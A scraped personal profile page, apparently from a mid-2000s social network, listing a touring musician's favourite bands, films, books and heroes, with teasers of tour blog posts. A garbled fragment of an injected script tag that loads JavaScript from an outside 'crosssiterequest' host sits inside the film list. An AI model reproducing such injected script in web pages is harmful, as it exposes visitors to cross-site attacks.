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Morris Von Wankerstein

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About Me

I deal in the absurd because life is ridiculous. I am as crazy as a loon. There is a really good chance I can beat anyone you know in Halo. Unless your friends with Tom and Dan Ryan then probably not. I like to watch The X-Files a lot, more than one person should. Im not a fan of the sun but I will go out into it if i have to. I like watching movies considering I have enough to fill a video store. I also like to sit and chill with my friends. Im a very serious person but Im to busy joking around with every breath I take for anyone to notice. Im also very easy going and I dont generally have a problem with anybody. If your bored and wanna chat hit me up at Keyserdurden.Also Im obsessed with texting so just message me for my number if you wanna text each other.Home | Browse | Search | Invite | Film | Mail | Blog | Favorites | Forum | Groups | Events | Videos | Music | Comedy | Classifieds

My Interests

Indoor soccer at Farmer Jimbos! Movies, music, books and videogames.

I'd like to meet:

Anybody from the future and a bunch of famous people that I dont feel like listing as well as all the people in my heroes category and any girl in a silly t-shirt

Music:

Radiohead!!!!!!!!!!!!!!!!!!!!!!!!! Interpol, Editors, Keane, Coldplay, The Flaming Lips, Massive Attack, Crystal Method, System of a Down, Rage Against the Machine, Pink Floyd, Marty o' Donnell, Harry-Gregson Williams, Juno Reactor, Modest Mouse and a bunch of other shit.

Movies:

The Usual Suspects, Donnie Darko, Fight Club, American Beauty, Evil Dead's, Spider-Man 2, Batman Begins, American Psycho, Seven, Copland, Die Hard's, Terminator 2, Shawshank Redemption, Robocop, Saving Private Ryan, Black Hawk Down, The Matrix, Three Kings, Being John Malkovich, The Big Lebowski, As Good As It Gets, Good Will Hunting, Chasing Amy, L.A. Confidential, Halloween, Gattaca, The Ninth Gate, Sleepy Hollow, The Way of the Gun, True Romance, All 3 Lord of the Rings, Thank You for Smoking, The Prestige, The Departed, The Weatherman, Mulholland Drive, Silent Hill.... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document·write("..1...{}");}..

Television:

24- Jack Bauer is the man, The X-Files- The greatest thing in all of creation, Family Guy, Lost, Firefly- Please bring it back!, Entourage- This show is my dream life, South Park, Angel, Buffy the Vampire Slayer, Veronica Mars, Robot Chicken

Books:

Haunted, Fight Club, Battle Royale, Akira, V for Vendetta, Watchmen, The Long Halloween, Dark Victory, Hush, Batman Yera One, The Dark Knight Returns,Supreme Power, Rising Stars, finished the entire 7 volumes of The Dark Tower in less than a month and now I want to beat the piss out of Stephen King, Perdido Street Station, The Scar, Neverwhere, All three of the George Carlin books because hes the funniest man ever, The Black Dahlia, Atlas Shrugged

Heroes:

Fox Mulder, Batman, Jack Bauer, Bruce Campbell, Christain Bale, Sam Raimi, Darin Morgan, Eli Roth, Richard Kelly, Kevin Smith, Joss Whedon, Ryu Hayabusa, Jubei Kibagami, Solid Snake, Master Chief, Samus Aran and the entire Justice League of America ..

My Blog

In Your Face Tour photos

Im putting pictures from my tour with FASSW, August burns red, between the buried and me, see you next tuesday, chasing victory and life in your way in this blog. Already have a bunch just dont have t...
Posted by Morris Von Wankerstein on Thu, 05 Apr 2007 11:33:00 PST

Dudes in Paradise tour Photos!

Leaving tomorrow on the Dudes in Paradise tour which consists of Fassw, The number twelve looks like you, Cancer Bats, See you next tuesday, Heavy Heavy low low, Nights like these, The devil wears pra...
Posted by Morris Von Wankerstein on Wed, 24 Jan 2007 05:35:00 PST

Undoing Ruin Tour Updates(Now with Pictures!)

This blog will have all the updates for the tour featuring Darkest Hour, FASSW, Misery Signals, Alife Once LOst and..Versus the Mirror. Since we havent left yet there is nothing to read so check back ...
Posted by Morris Von Wankerstein on Sat, 05 Aug 2006 03:51:00 PST

Bud Bud & Buds Tour updates

So tomorrow I leave for tour again with Fassw, Light this City, The Accia Strain and Through the Eyes of the Dead. Usual shit except this time im gonna try to put pictures up more frequently with the ...
Posted by Morris Von Wankerstein on Tue, 14 Nov 2006 10:06:00 PST

Writing Frenzy

Ive decided to post updates about how Rossi and Is script writing is going at OU. Day 1: Got settled in and purchased groceries for the week. Decided to take it easy and start tomorrow morning so we w...
Posted by Morris Von Wankerstein on Fri, 28 Jul 2006 09:16:00 PST

Steers and Beers Tour Updates

This is where all the tales of my adventures on my second tour(FASSW, Cattle Decapitation, Animosity, Misery Index and Job For a Cowboy) will be starting sometime after I leave June 9th. Also I w...
Posted by Morris Von Wankerstein on Wed, 31 May 2006 05:53:00 PST

Dudes Getting Brutal Tour Updates

(FASSW, The Black Dahlia Murder, Dead to Fall, Ed Gein, Ligeia, Suicide Silence and Burn the Shroud were all at some point on this tour) Its 3:41 am in indiana we are sleeping at some kid house not su...
Posted by Morris Von Wankerstein on Thu, 06 Apr 2006 12:41:00 PST

Terrible survey about me

TELL ME ABOUT YOURSELF - The Survey Name: Nicholas Von Barcikoski Birthday: 4/21/83 Birthplace: warren Current Location: The Batcave Eye Color: Hazel Hair Color: Blond Height: 5'8" Right H...
Posted by Morris Von Wankerstein on Sat, 04 Feb 2006 11:34:00 PST

Heres a Big Fucking Stupid List!

Happy Times: ( there is no order to this list Im pretty much putting these on at random and I know this isnt what a blog is for but fuck you yuppie son of a bitch. With reading these to you will proba...
Posted by Morris Von Wankerstein on Thu, 26 Jan 2006 11:19:00 PST